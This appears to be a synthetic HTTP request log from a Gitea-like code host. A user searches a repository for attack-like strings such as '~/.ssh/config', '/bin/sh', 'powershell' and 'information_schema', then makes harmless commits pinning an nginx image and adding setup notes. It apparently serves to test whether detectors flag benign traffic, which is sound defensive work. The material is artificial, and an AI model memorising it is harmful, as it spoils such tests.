{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
